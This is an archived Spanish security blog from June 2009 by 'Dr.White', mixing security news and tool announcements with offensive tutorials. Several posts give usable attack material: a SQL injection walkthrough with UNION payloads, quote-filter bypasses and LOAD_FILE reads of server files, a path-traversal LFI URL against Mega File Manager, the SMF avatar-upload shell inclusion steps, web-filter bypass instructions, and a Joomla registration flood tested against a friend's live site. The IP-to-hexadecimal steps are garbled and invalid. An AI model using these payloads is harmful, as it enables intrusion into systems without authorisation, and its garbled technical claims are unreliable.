Mostrando las últimas 29 entradas de un total de 75 de junio 2009 Mostrar las entradas más antiguas
Mostrando las últimas 29 entradas de un total de 75 de junio 2009 Mostrar las entradas más antiguas

martes 30 de junio de 2009

Saltando Proxys - Entrando a Páginas web Blokeadas

Hoy recordé que nunca había hablado de este tema siendo tan comun en tanto ustedes como yo, a quien no le ha pasado que ha estado en su colegio, universidad o trabajo y quiere entrar a www.hotmail.com o a www.yahoo.com o en mi caso www.facebook.com la red social mas popular de mi colegio entonces hoy les voy a enseñar como hacer para entrar a estas webs cuando están bloqueadas;


1er paso:

Debemos de Tener en cuenta si es que la consola MS-DOS o CMD está desbloqueada, si la misma está desbloqueada pues vamos a poner lo siguente donde esta apareciendo (_) eso, ahi ponemos:

Ping lawebquequeremos.com

una ves que hayamos puedo nos van a salir unas cuantas lineas diciendo:

Haciendo ping a lawebquequeremos.com [000.000.000.000] con 32 bytes de

Respuesta desde 000.000.000.000: bytes=32 tiempo=86ms TTL=52
Respuesta desde 000.000.000.000: bytes=32 tiempo=82ms TTL=52
Respuesta desde 000.000.000.000: bytes=32 tiempo=79ms TTL=52
Respuesta desde 000.000.000.000: bytes=32 tiempo=81ms TTL=52

Ahora lo que dice 000.000.000.000 es la ip de la pagina ahora vas al navegador web que uses y pones ese numero como si fuese la web y podras entrar ;)

###################

Pero que hacemos si el Proxy blokea tambien las ips? pues necesitamos cambiar los valores a Hexadecimales, y anteponerles "0x" un ejemplo sería:

la IP es 000.124.022.147

Solo un ejemplo, como traduccion sería:

000 = 00h6
124 = 00y8
022 = 10g1
147 = 007j

entonces nosotros vamos a nuestro navegador y ponemos:

0x00h6.0x00y8.0x10g1.0x007j

y podran entrar a la página web sin ningun problema ;)


######################


¿Que pasa si mi MS-DOS está Blokeada?

En ese caso la cosa se pone mas difícil por que nos tocará hacer otra cosa, tendrían que usar un proxy para navegar pero es un poco incómodo, hay algunas otras maneras de hacer esto pero esto lo estoy haciendo de una manera básica por que no tengo intenciones de dañar el trabajo de los administradores.

Algunos Proxys:



IPs de websites conocidos:

Facebook: 69.63.178.11
hotmail: 64.4.32.7
Google: 209.85.165.191
hi5: 66.218.161.133
youtube: 208.117.236.69

Espero que esto les haya servido

Escrito por Dr.White para www.seguridadblanca.blogspot.com

Saludos
Dr.White


HackMe Expodefensa 2009 - Casino Sql inyeccion

Hackme Casino, el software utilizado en expodefensa2009, para realizar una inyección SQL, viene con PDF que explica paso a paso, lo que este señor dijo aquí.


Imagen:




descarga
Aqui

Espero les sirva para que hagan sus Tests

Saludos
Dr.White

Scareware - Ataque a Buscadores

Se ha detectado un nuevo ataque “scareware” ucraniano que tiene como blanco a los internautas que realizan búsquedas en sitios como Google.

Este tipo de ataques se caracteriza por alarmar de forma innecesaria a los usuarios diciéndoles que sus ordenadores están infectados con algún programa nocivo. Después intentan vender programas de seguridad falsos a sus víctimas.

Para realizar este ataque, los cibercriminales comprometieron cientos de sitios web legítimos introduciendo una página en formato HTML llena de palabras clave de búsquedas frecuentes.

Conscientes de que los internautas cometen errores al teclear, los delincuentes incluyeron palabras mal escritas como “Obbama” y “gogle” en su lista.

Así los criminales intentaban hacer que los sitios comprometidos aparezcan entre los primeros resultados de las búsquedas más populares, aumentando las probabilidades de que los internautas los visiten.

Aunque no se ha especificado cuáles fueron los sitios comprometidos, un portavoz de Finjan, la empresa que descubrió el ataque, afirma que en su mayoría eran sitios de noticias y compras en línea.

Los delincuentes también inyectaron un script en los sitios comprometidos que redirigía a sus visitantes a un sitio creado por los delincuentes.

En este sitio, los internautas recibían un mensaje que les advertía sobre su falso problema de seguridad y se les sugería que comprasen un programa de seguridad inútil.

Este sitio recibió alrededor de 1,8 millones de visitas en un período de 16 días.

Como los cibercriminales reciben una comisión por cada usuario que dirigen al sitio, se calcula que ganaron unos $10.800 al día.

Además, entre el 7 y el 12% de los internautas cayeron en la trampa y decidieron comprar el programa a precios que oscilaban entre los 20 y 50 dólares.


fuente: Segu-Info


Saludos
Dr.White

Deface a Kevin Mitnick

Uno de los "mas grandes" de la seguridad Informática, Kevin Mitnick fue Defaceado, no hay mucha información del Deface pero segun fuentes muy confiables fue un simple ataque de DNS Poisoning, será que Kevin por estar en una Oficina ¿perdio el toque? yo siempre he dicho que la práctica hace al maestro, los dejo a ustedes que saquen sus conclusiones...


Imagen del deface:




La Imagen que le pusieron es un tanto desagradable, no creo que el Defacer haya sido alguien con mas de dos dedos de frente.


Saludos
Dr.White

lunes 29 de junio de 2009

Torneo De Seguridad Informática: www.seguridadinformatica.org

Les recomiendo este torneo tiene diez niveles y en el puedes probar tus habilidades ya sea que lo quieras tomar como Defacer o como Pen-Tester, lo recomiendo al 100% es muy entretenido y muy pronto saldra la versión 2.0 del mismo.


dirigido por:

BackTracker




Saludos
Dr.White

Mitigar ataques Bluetooth con SCMDM

He añadido un apartado a la sección de Seguridad en Windows Mobile dedicado a mitigar ataques de bluetooth a estos dispositivos.

Después de unos días trasteando con System Center Mobile Device Manager (SCMDM) de Microsoft, he comprobado que resulta efectivo aplicar políticas de seguridad que permitan restringir la accesibilidad de Bluetooth en Windows Mobile y por tanto reforzar la seguridad del dispositivo. SCMDM está orientado a entornos corporativos y permite a los responsables de seguridad gestionar de forma remota la seguridad en los dispositivos Windows Mobile de la organización.

Política de restricción de perfiles Bluetooth permitidos

Esta directiva de seguridad permite habilitar un filtro de Perfiles Bluetooth permitidos y excluir ciertos perfiles concretos de dicha configuración, como por ejemplo el Perfil de Carga de Objetos, mientras se sigue permitiendo el uso de otros perfiles, como el Perfil de Manos Libres.



De esta forma, cualquier intento de envío de archivos desde otros equipos Bluetooth al teléfono Windows Mobile resultaría infructuoso y se evitaría la recepción de archivos maliciosos como virus o troyanos.




Política de desactivación de Bluetooth

Con el fin de llegar más allá e impedir cualquier tipo de comunicación a través de Bluetooth con el teléfono Windows Mobile, los responsables de seguridad de la organización pueden también aplicar una directiva de seguridad que deshabilite completamente Bluetooth en el teléfono.



De esta forma, al impedir la comunicación a través de este interfaz, el teléfono se encontraría protegido frente todo tipo de ataques Bluetooth. Con esta política de seguridad en funcionamiento, sería imposible para el usuario del dispositivo activar el interfaz de comunicaciones Bluetooth en Windows Mobile.





Espero que esta información os resulte de utilidad.

Fuente: seguridadmobile


Saludos
Dr.White

Falla Crítica en Adobe Shockwave Afecta a Muchos

l Adobe Shockwave Player contiene una vulnerabilidad crítica que podría ser explotada por atacantes remotos para tomar control total de computadoras Windows, según informa una advertencias del fabricante de software.

La falla afecta al Adobe Shockwave Player 11.5.0.596 y versiones anteriores. Detalles del boletín de Adobe:

Esta vulnerabilidad le permitiría a un atacante que explotara exitosamente la vulnerabilidad, el tomar control del sistema afectado. Adobe ha provisto de una solución para la vulnerabilidad informada(CVE-2009-1860). Este problema fue resuelto previamente en Shockwave Player 11.0.0.465; la actualización Shockwave Player 11.5.0.600 resuelve una variación del modo de compatibilidad del problema con el contenido de Shockwave Player 10. Para resolver este problema, los usuarios Windows de Shockwave Player deben desinstalar las versiones 11.5.0.596 de Shockwave y las anteriores de sus sistemas, e instalar Shockwave versión 11.5.0.600, disponible aquí: http://get.adobe.com/shockwave/. Esta falla es explotable de forma remota.


Autor: Ryan Naraine
fuente: Segu-Info

Saludos
Dr.White

Back Track 4 Pre-Release


En Vista que la anterior Distro no funciono como yo esperaba por asi decirlo les quiero sorprender poniendoles la ultima descarga dada por los de remote-exploit para su Version 4 del Back Track


Tamaño: 1390 MB
Descarga: aquí
CD-IMAGE: aquí
Descripcion: Imagen de DVD- ISO


Saludos
Dr.White


Distro de Ubuntu para Pen-Test


Como el nombre dice pues esta es una distro de linux para pen-test está basada en Ubuntu, este post lo hago mas que nada por que he notado que mucha gente que se quiere iniciar en el Pen-Testing lo primero que hacen es descargar el Back-Track, no digo que sea malo solo que no es el único que existe.


Ya lo he probado y usado, de hecho en mi Máquina Linux estoy usando esta distribución sinceramente Back-Track es un poco mejor pero esta es mas HUMANA por asi decirlo, si eres nuevo te la recomiendo.

Si quieren Saber mas sobre esta Distro pues den click aquí, para conocer descargar la distribución den click Aquí

EDIT: La Página a entrado en actualizacion no lo podran descargar ahora.

Saludos
Dr.White


domingo 28 de junio de 2009

E-Zine: Phrack Magazine

Phrack Magazine es una revista editada en inglés que se dedica desde 1985 a proveer a la comunidad hacker con información sobre sistemas operativos, redes, telefonía y cualquier tema que se desarrolle en el bajo mundo de la informática.

La revista se distribuye en formato ASCII de forma gratuita y pueden encontrarse para descarga todos los números de la revista en formato tar ball.

Taran King and Knight Lightning lanzaron el primer número el 17 de noviembre de 1985. Inicialmente fue distribuida en BBS en formato ASCII, formato que ha conservado hasta la actualidad. Puede encontrarse más información en la web oficial de Phrack Magazine.

Phrack Magazine es una de las publicaciones con mayor reconocimiento en el mundo hacker junto a 2600 Hacker Quarterly.


Contenido:

Descargar Phrack Magazine # 66

Leer Phrack Magazine #66 On-Line

Más información sobre Phrack (Web oficial)


Saludos
Dr.White

Productos Para Hacker
















¿Cansado de tu monótono trabajo? ¿pensando en convertirte en un hacker ético? ¿quieres formar parte de la comunidad underground? ¡¡Ahora ya puedes hacerlo con este Kit que proponemos y que podrás pagar en cómodas cuotas de 99,9€!!. No. Lo sentimos pero desgraciadamente no tenemos tienda online y no vendemos nada.

Por si os puede servir para adquirir o solicitar nuevo equipamiento, hemos recopilado una pequeña lista con lo que consideramos el hardware ideal para realizar tests de intrusión y otras actividades propias de un profesional en seguridad. Muchas de ellas opcionales y aquí, cada uno se haga la suya propia :-)

  1. Portátil: por supuesto es el elemento más importante y vamos a remarcar algunos puntos a tener en cuenta antes de seleccionar cual comprar:
    • Wifi: importante que la tarjeta integrada tenga compatibilidad con herramientas como Aircrack.
    • Smartcard: poco a poco se hace más uso de las tarjetas inteligente como el propio dni electrónico, por este motivo es esencial que nuestro portátil tenga lector de smartcards, ya sea integrado o externo.
    • ExpressCard, será necesario para ampliar el portátil con otra tarjeta wireless, un modem 3G o cualquier otro accesorio que pueda ser necesario.
    • USBs: no, 2 USB no son suficientes, 3 son justos y con 4 empezamos a entendernos.
    • Tarjeta Gráfica: Si pensabas que no encontrarías excusa para pedir una tarjeta gráfica potente, nosotros tenemos una. Usando la GPU de las placas con soporte CUDA se es posible optimizar el rendimiento en algunas aplicaciones de fuerza bruta. Recomendado GeForce 8800 en adelante, como un buen quakero.
    • Bluetooth: imprescindible para conectar con el móvil, un GPS, hacer análisis de seguridad de bluetooth y algunas cuantas miles de cosas más.
    • Bateria adicional: sobre todo será necesaria para los análisis de seguridad wireless, donde pocas veces podremos conectar el portátil a una toma de corriente eléctrica.
    • Hyper-V: hoy en día ejecutar máquinas virtuales es lo más común, si nuestro equipo soporta esta tecnología garantizaremos el mejor rendimiento en virtualización.
    • TPM: interesante para usar algunas soluciones como BitLocker.
    • Módulo 3G/HSDPA: si tiene el módulo para este modem, nos ahorraremos usar el móvil o un modem externo, ganando algo en comodidad. Las tarifas más interesantes son de Yoigo y Simyo.
    • Compatibilidad: no estaría de más comprobar que no existen "problemillas" de compatibilidad con Linux.

  2. Antena Wifi: si estás pensando que aún puedes salir a auditar con tu antena pringles, la respuesta es NO al igual que no deberías usar hombreras. Puedes comprar una antena wireless que sirva para mejorar la ganancia de tu adaptador, como por ejemplo, una antena Yagi

  3. Tarjeta adicional Wireless: a la que puedas conectar la antena, hay tarjetas USB que tienen integradas potentes antenas y son desmontables para utilizar otras externas. Un chipset que permite jugar cómodamente es RTL8187L o Atheros. Si tenemos presupuesto (mucho), AirPcap es la tarjeta mejor soportada en Windows para todo tipo de herramientas.

  4. GPS: ya sea USB o Bluetooth, es muy útil para mapear puntos de acceso en grandes localizaciones durante una auditoría wifi. Sirf suele dar buenos resultados.

  5. Cadena de seguridad: si vamos a dejar solo el portátil en nuestra ausencia, este tiene que tener un buen cierre, que nos asegure que cuando volvamos el portátil siga donde lo dejamos.

  6. Filtro de privacidad: para evitar el famoso "sniffing over hombro" tan habitual entre compañeros y mirones que se sientan a nuestro lado en el avión.
Desde luego más difícil de encontrar es el portátil, sobre todo porque el que dispone de unas opciones no dispone de otras, además que en general tendremos que utilizar el que provea la compañía de una marca concreta.




Saludos
Dr.White

Programming: Curso de VB 6.0

Navegando por la red encontre este PDF excelente, es muy bueno para ser sincero se los recomiendo y te enseña desde nada lo recomiendo al 100%




Saludos
Dr.White

Los informáticos tambien tenemos sentimientos.

Hoy navegando por la red me encontre con este video, me desvio un poco de la temática de programación y seguridad informática pero quería compartir con ustedes este video para que todos puedan ver la realidad de lo que sentimos los informáticos cuando abusan de nosotros :(




fuente: http://www.viciodigital.com


Saludos
Dr.White

Pen-Test: Sql Inyeccion by Perverths0

Bueno muchas veces nos vemos con n lamentable panorama cuando estamos “auditando” una página y nos quedamos truncados ante las restricciones de falta de información sobre los datos q deseamos obtener como por ejemplo nos vemos ante una injeccion SQL


Index.php?Id=unión select 1,2,3,4,5,6,7 /*


Muy bien ahora probamos en obtener el nombre de la tabla como normalmente hacemos es tantear resultados como por ejemplo colocamos


Index.php?Id=unión select 1,2,3,4,5,6,7 from usuarios/*


Index.php?Id=unión select 1,2,3,4,5,6,7 from usuario/*


Index.php?Id=unión select 1,2,3,4,5,6,7 from admin/*


Para nuestro ejemplo asumimos que en la tabla donde guarda la información de los usuarios se llama admin muy bien pero ahora no sabemos cuáles son los nombres de sus columnas (atributos) para eso una de las primeras cosas que hacemos es también probar posibles valores como por ejemplo.


Index.php?Id=unión select 1,usuario,password,4,5,6,7 from admin/*


Index.php?Id=unión select 1,usuario,pass,4,5,6,7 from admin/*


Index.php?Id=unión select 1,user,password,4,5,6,7 from admin/*



Bueno así pero en muchos casos no logramos obtener el nombre de las columnas muy bien y bueno los que saben algo más de mysql o de un respectivo gestor de base de datos hace las consultas a las base de datos donde se guarda dicha información como son:


Information_schema —->MySQL


Sysobjets —>Sql server


Y bueno los respectos de cada gestor.


Muy bien nosotros suponemos para nuestro ejemplo que la victima corre su base de datos con MySQL entonces usaremos la base de datos information_schema de ahí sale la pregunta que información guarda esa base de datos?


Bueno existen en dicha base de datos dos tablas que son de interés a los que hacen una auditoria que son la tabla


· Tables: en dicha tabla se guarda información del nombre de las tablas que se encuentran creadas en el gestor y la respectiva base de datos a la que pertenece.


· Columns: en dicha tabla se guarda información del nombre de la columnas y el nombre de la tabla a la pertenece dicha columna.


Muy bien informándonos sobre la existencia de esa base de datos y las tablas que tiene procedemos a hacer consultas bueno nuestra consulta se reduce a averiguar el nombre de las columnas de la tabla “admin” que es el nombre de de la tabla de nuestro ejemplo muy bien la consulta seria de la siguiente forma:


Index.php?Id=unión select 1,column_name,table_name,4,5,6,7 from information_schema.columns where table_name=’admin’/*


ok pero en muchos casos sucede que las paginas filtran las comillas simples como es en el caso de php con su directiva magic_quotes que cuando esta activada ósea en “On” nos filtra dichos valores y no logramos hacer la consulta muy bien.


Una forma de saber si php tiene Magic_quoted =On o esta filtrando las comillas simples con alguna otra función como puede ser la función addslashes que también hace lo mismo es colocar comillar en el valor q estamos usando y vemos los resultados.


Index.php?Id=unión select 1,’2’,3,4,5,6,7 /*


si nos muestra los valores como si nada hubiera pasado es que tiene Magic_quotes=Off


pero si nos manda error o simplemente no nos manda datos eso quiere decir que tiene Magic_quotes=On o filtra los datos con alguna función.


Ahora un forma de bypassear esto es que sabemos que mysql y otros gestores pueden tomar valores ascii y entenderlos como cadenas de texto entonces solamente convertimos la cadena ”admin” a una cadena de valores ascii y la consulta quedaría de la siguiente forma.


Index.php?Id=unión select 1,column_name,table_name,4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)/*


Pero sucede que en muchos casos no tenemos permisos para poder hacer consultas a la base de datos Information_schema L bueno.


Muy bien pero no demos por vencidos existe aun alternativas ahora en muchos casos los programadores de las paginas web se olvidan administrar los errores y en muchos casos nos sale la dirección física de la pagina web, muy bien pero de hablo cuando digo dirección física un ejemplo podrá mas que mil palabras J.


/home/victima/www/index.php —> dirección Fisica.


www.victima.com —> dirección virtual


ahora suponemos que en nuestro ejemplo logramos ver la dirección física bien pero que podemos hacer para saber el nombre de la columnas de nuestra tabla, para esto existe una función en MySQl que se llama LOAD_FILE que lo que hace es cargar en texto plano el contenido de un archivo entonces lo que tendríamos q hacer es buscar el nombre de la página de logeo y asi saber cuál es el script que hace la consulta a la base de datos para el logeo de los usuarios en nuestro ejemplo será “login.php” entonces lo que hacemos es cargar el contenido de ese script para poder saber sobre la consulta que se hace y de ahí poder sacar los datos del nombre de las dichosas tablas la consulta seria de la siguiente forma.


Index.php?Id=unión select 1,LOAD_FILE(‘/home/victima/www/login.php ‘),3,4,5,6,7 /*


Pero puede q pase como en el caso anterior nos filtre las comillas entonces tenemos que usar los valores ascii para poder hacer la consulta de la siguiente forma.


Index.php?Id=unión select 1,LOAD_FILE(CHAR(47, 104, 111, 109, 101, 47, 118, 105, 99, 116, 105, 109, 97, 47, 119, 119, 119, 47, 108, 111, 103, 105, 110, 46, 112, 104, 112)),3,4,5,6,7 /*


Muy bien hacemos la consulta pero en muchos casos tampoco podemos ver los datos por no tener los permisos respectivos L.


Ahora existe una ultima forma que fue la razón de este post J que bueno nolo vi en otro lado y si es q hay no sabia es algo que alguna vez me ayudo y que funciona en todos los gestores que usan sql como son sqlserver, mysql, postgre, oracle, etc.


Bueno sabes que en la sintaxis de sql podemos asignar ciertos nombres para el nombre de las columnas y tablas ok entonces nosotros le daremos un nombre a nuestra tabla de la siguiente forma


Index.php?Id=unión select 1,2,3,4,5,6,7 from admin a/*


El nombre que le asignamos es “a” ahora hacemos la consulta de la siguiente forma.


Index.php?Id=unión select a.*,2,3,4,5,6,7 from admin a/*


El valor “a.*” quiere decir todos los valores de la tabla admin ahora si es que la tabla admin tendría una sola columna nos mandaria su valor ahora quitamos los nros de acuero al nro de columnas de la tabla admin en nuestro caso la tabla admin tiene 5 columnas entonces la consulta quedaría de la siguiente forma.


Index.php?Id=unión select a.*,6,7 from admin a/*


Ahora nos mostrar los valores de la tabla ”admin2 sin tener conocimiento del nombre de sus columnas es una alternativa no muy efectiva pero bueno es una alternativa mas que los traigo ahora para que se logre hacer una consulta de esa forma se tiene que dar ciertas condiciones como que el nro de columnas de la injeccion debe ser mayor al nro de columnas de la tabla de consulta en nuestro caso “admin”


Bueno espero les sea de utilidad este post hast un pronto post saludos para todos cualquier duda no duden en postearlo saludos


fuente: Cuscosoft

Saludos
Dr.White

sábado 27 de junio de 2009

Admin Path Finder By Dédalo






















El Admin Path Finder es una Tool que encuentra Paneles de Administración de las webs que ustedes pongan mediante una lista, esta aplicacion ya viene con una lista incorporada y permite que ustedes agreguen directorios que crees que pueden ser y que no esten en la lista, está desarrollado en Visual basic 6.0 y es de Open Source, pueden editarlo mientras respeten los derechos de los creadores verdaderos, Jbyte me colaboro y programo algunas cosas del Proyecto, espero que les guste...


Saluden cronológicamente a la gente que entra a su web

Este codigo fue desarrollado por sebastian Burgos de la Comunidad dragonjar, el codigo es muy simple pero muy bueno para los webs masters... aqui se los doy:



$hora = date("H") - 1;
if ($hora >=0 and $hora<12)
{
$saludo = 'Buenos días,';
}

elseif ($hora>=12 and $hora<17)
{
$saludo = 'Buenas tardes,';
}

elseif (
$hora>=17 and $hora<24)
{
$saludo = 'Buenas noches,';
}

echo $saludo;

?>


Saludos
Dr.White

LFI en Mega File Manager 1.0

Algunos sabrán de este sistema, pero la mayoría cree que solo posee Sql Inyeccion ya sean Blind o Visibles pero esta lleno de las mismas, entonces ahora yo les quería contar de que un Pen-Tester y programado hayó una vulnerabilidad que consiste en:


un error de programación...


¿Cómo se explota?

http://127.0.0.1/webs/vuln/MFM/index.php?page=../../../../../../file

Bueno ya vieron como se explota, obviamente puede sustituir file por digamos Bootsect.bak o 
ustedes ya sabrán como utilizarlo,  pero la parte de como repararlo ahora viene...

$Protejer = str_replace(array('.','/index.html','','?'),"",$_GET['LFI']);

Entonces con eso podran salvar sus webs de que los exploten de esa manera, claro tienen que 
sustituir cosas del código segun su necesidad, espero que esto les haya servido de mucho.

Saludos
Dr.White

OJO: Los nullbyte no se ven pero 
ya saben que se usan para bypass.

viernes 26 de junio de 2009

Malware aparece con la Muerte del Rey del POP

Ya han aparecido los primeros malware que son propagados a través de spam y que, con la muerte de Michael Jackson como pretexto, son utilizados para que el usuario descargue troyanos a su sistema.


El spam simula tener un enlace a un video de Youtube y el primer malware es descargado desde http://www.[ELIMINADO].com.au/images/mixes/Michael.Jackson_videos_fotos.php(MD5: 12957db2b6f6f80c455e15d2a7e9c060 o 238bfe5b86b09e5627c2393f0cbc5c29, activos al momento de escribir el presente) y que ya es detectado por algunos antivirus. Otros de los Malware recibe el nombre de Michael.Jackson.videos.scr (MD5: 664cb28ef710e35dc5b7539eb633abca).

Estos programas por otro lado descargan nuevos troyanos desde http://video.xmanc[ELIMINADO].org/, http://alls-tube-he[ELIMINADO].com, http://oneplace-all-[ELIMINADO].com/

fuente: segu-info

Saludos
Dr.White



Morro el antivirus gratuito de Microsoft

El Nuevo antivirus "Gratuito" de microsoft fue Sacado esta semana y bueno les quería comentar que probe este antivirus ayer en una PC que uso para pruebas y llegué a la conclusión que segun mi criterio microsoft nisiquiera puso empeño en esto es mas les diría que nisiquiera está actualizado es un antivirus mas en el mercado si me lo preguntan, mas que nada se puede llegar a la conclusion que es marca, interfaz y hueco de seguridad... si desean descargarlo pues pueden usar este link


Si quieren mas información de este antivirus y mas pues visiten ...



Pongan sus dudas y preguntas que yo trataré de resolverlas.


Saludos
Dr.White

jueves 25 de junio de 2009

Problemas de Cache en Tony Hawk Pro Skater & Play Station 2?

Hace unos meses ya le había comentado sobre esto a un colega mio que algunos conocerán, Jbyte, disculpen que me devie, a lo que me refería es que hace unos meses jugando Tony Hawk Pro Skater 4 estube muy vicioso con este juego asi que no lo paraba de jugar y un dia mientras guardaba mi juego se fue la luz en mi ksa y lo que pasaba era que no me reconocía la Memory Card me salia que era un archivo Dañado asi que me puse muy triste y se me ocurrio crearme un nuevo jugador con el mismo nombre y guarde apague el Play Station y cuando lo prendí "Voila" ya tenía todo de nuevo, esto me parecio muy raro entonces lo volvi a probar apagando el play mientras se guardaba se volvió a Dañar el archivo y haciendo el mismo proceso de crear el jugador con el mismo nombre y volvió a repararse, el día de ayer hice esta prueba con dos juegos mas de tony hawk, el Underground 1 y Underground 2 y siempre volvía a pasar lo mismo, sé que esto no es un bug ni mucho menos una vulnerabilidad crítica pero les quería comentar de este problema de seguridad en los files del Play station y las Memory Card, Si esta vulnerabilidad siguiera en el Play Station 3 pues quien sabe si por un acceso remoto se podrian robar cuentas de juegos o contraseñas mediante la explotación de este bug ya que como algunos saben el Play Station 3 tiene internet pues podrian robarles ese tipo de cosas y volviendose mucho mas crítica podrian robarles datos personales si han decidido poner su nombre o telefono en algun dato de esta Consola.


Gracias por Leer este articulo escrito por Dédalo(Dr.White) y Descubierto por el mismo.


Saludos
Dr.White

miércoles 24 de junio de 2009

Bug reportado

Otra Web del Gobierno ecuatoriano era vulnerable a ataques por hackers y esta era un poco mas critica por que con un poco de conocimiento de Bypass podian examinar toda la base de datos he incluso editar datos y sacarlos con tools simples y que se encuentran por distintos lugares.


esta ves fue: El Tribunal Constitucional


y quien dijo que los Gobiernos eran seguros?


Saludos
Dr.White

Hackeando Teclados Inalámbricos con Keykeriki

Keykeriki es una herramienta de software libre más hardware que te permite explotar de forma remota los teclados inalámbricos, como se puede ver en este video de ejemplo.


Los autores han proporcionado todos los detalles del software, así como los del hardware desde su página web. Este proyecto Opensource de software y hardware permite a cada persona comprobar el nivel de seguridad de sus propias transmisiones de teclado.

El propio hardware tiene un diseñado versátil que permite utilizar otros módulos externos como por ejemplo un módulo de repetición o amplificador.






Saludos
Dr.White

martes 23 de junio de 2009

Análisis de PDF Malicioso

Hacía mucho tiempo que no comentaba nada sobre mis queridos PDFs, así que ya tocaba...;)


Como
ya mencioné, una de las posibilidades de esconder información en un archivo PDF es mediante la codificación/compresión de streams, gracias al uso de filtros (parámetro /Filter), siendo el más utilizado el /FlateDecode. Los chicos malos llevan ya un tiempo usándolo para esconder código Javascript, tanto ofuscado como sin ofuscar, intentando explotar ciertas vulnerabilidades que se han visto a lo largo de este año y del pasado (Collab.collectEmailInfo, util.printf, getAnnots, getIcon, spell.customDictionaryOpen), o simplemente para llevar a cabo un heap-spraying utilizando alguna otra vulnerabilidad no relacionada directamente con Javascript, como la del filtro /JBIG2Decode.

Para ayudar con el análisis de estos archivos maliciosos he implementado una mini-herramienta en Python que hace uso del módulo de
Spidermonkey para intentar ejecutar el código Javascript encontrado y llegar hasta la shellcode que se quiere lanzar. Automatizar la ejecución de código Javascript ofuscado no es algo sencillo, ya que hay mil maneras de esconderlo y cada día nace una diferente, así que lo que he intentado es realizar una aproximación al problema, gracias a las diferentes muestras que pasaban por mis manos. Para el caso en que el script no sea capaz de llegar hasta el final se puede especificar mediante el parámetro -w que escriba en disco el código Javascript encontrado, con el objetivo de permitir un análisis manual posterior.

Para la ejecución del script se necesita instalar previamente la librería
Spidermonkey, y para ello, a su vez, Pyrex.

El
archivo de descarga es un archivo comprimido que contiene, además del script, un PDF malicioso con una shellcode que intenta descargar código malicioso desde una URL. El dominio no se encuentra activo en este momento por lo que no hay ningún problema. La salida que deberíais ver es la siguiente:


Tiene cinco apartados posibles donde se puede ver si se han encontrado disparadores de eventos (
/OpenAction y /AA), acciones sospechosas (/JS, /Launch, /SubmitForm e /ImportData), elementos vulnerables, bytes escapados y posibles URLs, que sirven para hacerse una idea de la peligrosidad del archivo.

Como seguro que tiene unos cuantos bugs os animo a que me los mandéis por correo, así como cualquier consejo/comentario, a alguna de las direcciones que aparecen en el código. ¡Muchas gracias!

Fuente: s21sec

Saludos
Dr.White

Dédalo TexHex Beta

Este programa Convierte Ascii a Hexadecimal y Hexadecimal a Ascii esta utilidad la hice pensando en los administradores de Bases de Datos y Pen-Testers, Esta utilidad está programada en C# y pronto sacaré su codigo como libre; espero le sirva de mucho y pronto sacaré mi Siguente Proyecto Y si desean programar junto conmigo algun proyecto contactenme mandando un mail a camilo.galdos@dragonjar.org o msn en camilovikingo@hotmail.com

Imagen del DTH [Dédalo TexHex]


Descargalo:



Saludos
Dr.White

Ataque de Bots muy Simple en Joomla

Joomla es un Sistema en si ya con muchos años de antiguedad, es open source y ha hido evolucionando con el paso de los años y pues he visto que el Joomla no tiene ningun sistema de Captcha en su Version 1.5.10 entonces hice una prueba con unos pequeñisimos sockets y un poco de conocimiento en Perl pues podia crear usuarios como si nada si le hubiese puesto un:


FOR o un While se imaginan lo que podria pasar? se saturaría su base de datos esto podria generar un DOS en su Web o sino una desconexion con la base de datos, mi programa lo probé en Localhost pero estoy seguro que funciona en cualquier web que tenga un Joomla de la Versión 1.5.10 que fue en la que lo probe y me dio un error de conexion me aparecía como que no existia y nisiquiera lo hice con for osea mi programa tenia el siguente funcionamiento:

n= numero de registros

//leer

leer n

para 1 = 0 hasta n
registrar
fin para

//escribir "exito"


y yo en "n" solo puse 10 registros no es como que hubiese sido un super ataque de DOS y justo mientras escribia esto pues acabo de hacer la prueba en la web de un amigo y tambien tubo el mismo efecto durante casi 30 segundos :S

una imagen:







Bug?


si ustedes son Webmasters Diseñen Captcha Para sus webs ;)


Saludos
Dr.White

Dédalo Port Informator V1

Pen-Test Tool By Dédalo(Dr.White)



Este es un scanner de puertos desarrollado por Camilo Galdos (yo) y escanea de una manera casi exacta y te dice cuales estan abiertos y cuales estan cerrados, está desarrollado en el lenguaje de programación C#.Net y es de Codigo Libre... espero que si lo mejoran me den Crédito como creador del Source Code, si desean contactarme pues mis mails estan en el source code y aquí en www.seguridadblanca.blogspot.com espero lo usen!


Link de Descarga:




Saludos
Dr.White

lunes 22 de junio de 2009

Bug en Smf 1.1.8 y 1.1.9

Buscando y buscando en simplemachines me di cuenta que esta actualización era por asuntos de seguridad asi que me puse a googlear y encontré esto -->
http://www.simplemachines.org/community/index.php?topic=309741.0

"Hacked: 1.1.8 attachments / avatars still has a vulnerability"

Lo que entendí hasta la primera página era que un atacante había subido un avatar con contenido php .. no se pero ultimamente las explotaciones de bugs en SMF se explotan con un archivo adjunto a un tema o subiendo un avatar ya que su contenido no se filtra.


También pude leer el post donde se explica un poco mejor lo de la actualización y se recomienda oficialmente deshabilitar tremporalmente la subida de archivos al servidor -->
http://www.simplemachines.org/community/index.php?topic=309717.0


"Following these simple instructions will make your forum invulnerable to the recent attack by uploadable avatar."

  • Se explota de la siguiente manera:
Se sube un avatar con comandos arbitrarios que puede ser una c99
Se ve la dirección index.php?action=theme;sa=pick;u=[id de tu perfil];sesc=[tu hash sesc]

y smf hará una inclusión hacia tu avatar creyendo que es un theme modificas tu theme y le das la ruta del avatar terminado en o \0 que es un null byte.


Descarga la versión 1.1.9 que tiene parchado el problema -->
http://download.simplemachines.org/


Fuente: elhacker.net


Saludos
Dr.White



Metasploit - El Hacking Memorable!



















Estoy seguro que todos los profesionales y aficionados a la seguridad informática, hemos oido hablar (o convenientemente utilizado alguna vez), de Metasploit, el framework de herramientas de seguridad o en realidad su colección de exploits ya preparados. Resulta cuanto menos paradójico que la propia ubicación que alberga la imagen web de Metasploit haya sido víctima de un ataque (en realidad un DoS).

Así fue, allá por Junio del 2008, el servidor web para las descargas de Metasploit, dejó de responder. En su lugar se podía ver una web que decía en modo jocoso: "hacked by sunwear ! just for fun".

